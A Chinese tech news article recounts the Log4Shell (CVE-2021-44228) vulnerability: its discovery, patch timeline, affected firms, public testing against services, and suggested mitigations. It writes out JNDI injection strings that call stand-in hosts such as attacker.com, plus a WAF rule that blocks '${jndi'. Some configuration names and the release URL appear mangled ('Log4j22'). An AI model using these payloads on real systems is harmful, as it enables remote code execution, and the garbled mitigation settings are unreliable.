2021年11月24日,阿里云安全团队依然像往常一样进行着漏洞的筛查工作。
让人没想到的是,团队成员之一的Chen Zhaojun一铲子下去,就挖出了一个「过去十年来影响最大、最严重的漏洞」——Log4Shell。
借着这个漏洞,攻击者只需要提交一个字符串就能访问对方的服务器,甚至还能在里面上传运行任何代码!
结果就是,12月10号,本来已经在准备过周末的大厂程序员们,都起来通宵加班处理漏洞了。
这个漏洞波及了多少大厂呢?
由于Log4j2这个库实在是太受欢迎了,所以包括苹果、Tesla、亚马逊、Cloudflare、ElasticSearch、Red Hat、Twitter、Steam、百度、网易、腾讯等大厂都会受到影响。
可能,还有数百家甚至数千家其他组织也会受到影响。
一些信息安全研究人员预计,未来几天互联网上对服务器的攻击会大幅增加。
惊魂一刻
11月24,开源项目Apache Log4j2的一个远程代码执行漏洞被提交。
12月7日上午,Apache发布了2.15.0-rc1版本更新。
12月9日晚,漏洞的利用细节被公开,影响范围几乎横跨整个版本(从2.0到2.14.1-rc1)。
当大家纷纷升级到2.15.0-rc1之后发现,该补丁依然可以被绕过。
12月10日凌晨2点半左右,Apache Log4j2紧急更新了2.15.0-rc2版本。
此时,各个大厂也几乎都在熬夜抢修。
据火绒不完全统计,仅在Github上,就有60644个开源项目发布的321094软件包存在风险,这一漏洞可以说是影响了互联网上70%以上企业系统的正常运转。
Java开发框架中,受到Log4j2的影响Top10(来源:火绒安全)
这一漏洞名为CVE-2021-44228,也叫Log4Shell或LogJam,是一个远程代码执行(RCE)类漏洞,存在于一个「数百万」应用程序都在使用的开源Java日志库Log4j2中。
由于Java应用程序通常会记录各种各样的事件,例如用户发送和接收的消息,或者系统错误的详细信息,因此该漏洞可以通过多种方式触发。
而这一漏洞最危险的地方是它太容易被攻击者利用了,即使是毫无经验的普通人也可以利用这个漏洞成功执行攻击。
攻击者只需发送一则特殊的消息到服务器(包含类似${jndi:ldap://server.com/a}的字符串),就可以执行任意的代码,并有可能完全控制该系统。
据阿里的@程序员子悠介绍,服务器会通过Log4j2记录攻击者发送的请求汇中包含的基于JNDI和LDAP的恶意负载${
jndi:ldap://http://attacker.com/},其中,http://attacker.com是攻击者控制的地址。
当服务器通过JNDI向http://server.com请求,触发恶意负载之后,http://attacker.com就可以在响应中添加任何可执行脚本,注入到服务器进程中。
于是,上个周末,大大小小公司的安全团队都在争先恐后地修补Log4Shell漏洞,晚一秒,就有可能让黑客危及互联网上数百万台设备。
而黑客们也没闲着,安全服务商imperva当天就监控到了140多万次针对CVE-2021-44228的攻击。
新西兰计算机应急响应小组(CERT)、德国电信(Deutsche Telekom)和Greynoise的网络监控服务都发出了警告:「攻击者已经在积极利用这个漏洞」。
根据Greynoise的说法,大约100个不同的主机正在大规模地寻找利用Log4j2漏洞的方法。
很快,多家信息安全新闻机构都报道了这个在Apache Log4j2库中发现的,CVSS严重程度为10级的关键漏洞CVE-2021-44228。
阿里云安全团队在12月10日发布公告。
https://help.aliyun.com/noticelist/articleid/1060971232.html
国家互联网应急中心12月10日发布公告。
https://www.cert.org.cn/publish/main/9/2021/20211210110550958546708/20211210110550958546708_.html
美国国家计算机通用漏洞数据库12月10日发布公告。
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
Apache基金会也迅速回应,建议所有开发人员能升级就升级,将手头上使用到的Log4j2库更新到2.15.0版本,如果因为一些原因升不了级,就使用Apache Log4j2安全漏洞页面中描述的方法进行扑救。
12月12号,有网友反映银行的程序都不能用了,推测可能正在加班加点排查,看来波及范围确实挺大的。
这下程序员们要哭了,纷纷吐槽:
「连夜抢修」
「忙活大半天」
复现漏洞
国民级搜索引擎百度首先遭到了广大网友的暴力测试!
漏洞刚曝光时,如果在百度搜索框中输入命令,然后在dnslog中就可以发现访问信息,随后开发人员也是紧急修复了这个漏洞。
接着,网友又攻破了一向以安全性著称的苹果。
Minecraft也同样惨遭毒手。
由于Minecraft在软件中也采用了Log4j2,而且使用范围很广,这就导致了除Mohist 1.18外,Minecraft全版本所有系列的服务端全部处于高风险状态。
这样一来,在聊天栏输入命令就可以在游戏中作弊。
对于Minecraft服主来说,当前最该做的就是立即关闭服务器,并进行升级和紧急修复,普通玩家则需要等待,直到服务器确认修复完成。
解决方案
根据360的建议,用户可以进行如下操作。
常规方案
使用了Apache Log4j2的用户,请将程序更新至官方最新安全版本(2.15.0-rc2)。下载地址:
https://github.com/apache/logging-Log4j22/releases/tag/Log4j2-2.15.0-rc2
临时应急方案
修改Log4j2配置:
Log4j22.formatMsgNoLookups=True
设置JVM启动参数:
-DLog4j22.formatMsgNoLookups=true
设置环境变量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS值为true
可以提高安全性的周边设置
以下设置或操作可能会对防护此次安全事件起到作用,但无法确保安全。建议结合实际应用场景进行配置:
- 使用尽可能更高版本的JDK
- 使用rasp阻断lookup的调用
- 使用waf对流量中的${jndi进行拦截
- 禁止所有不必要的外连数据。
开源项目的风险
Log4j2的安全事故一出,不禁让广大用户重新开始怀疑:开源软件是否真的安全?
一方面大家觉得开源软件嘛,代码都拿到手了,在遵照开源协议的情况下,基本就是白嫖。
另一方面,觉得有这么多人都在盯着这份代码,肯定不会出bug,不然一定会有人提issue修复的。在不花钱的情况下,又指望它有企业级的维护支持与安全性保障。
殊不知,大部分开源软件都是作者利用业余时间开发的,为开源社区贡献代码的驱动力全部来自于star和「用爱发电」。
也正是因为免费,一些开源软件的受众规模特别大,从小公司到千亿市值的企业都在使用,如果一旦出了漏洞,那后果将不堪设想。
所以,开源有风险,使用需谨慎!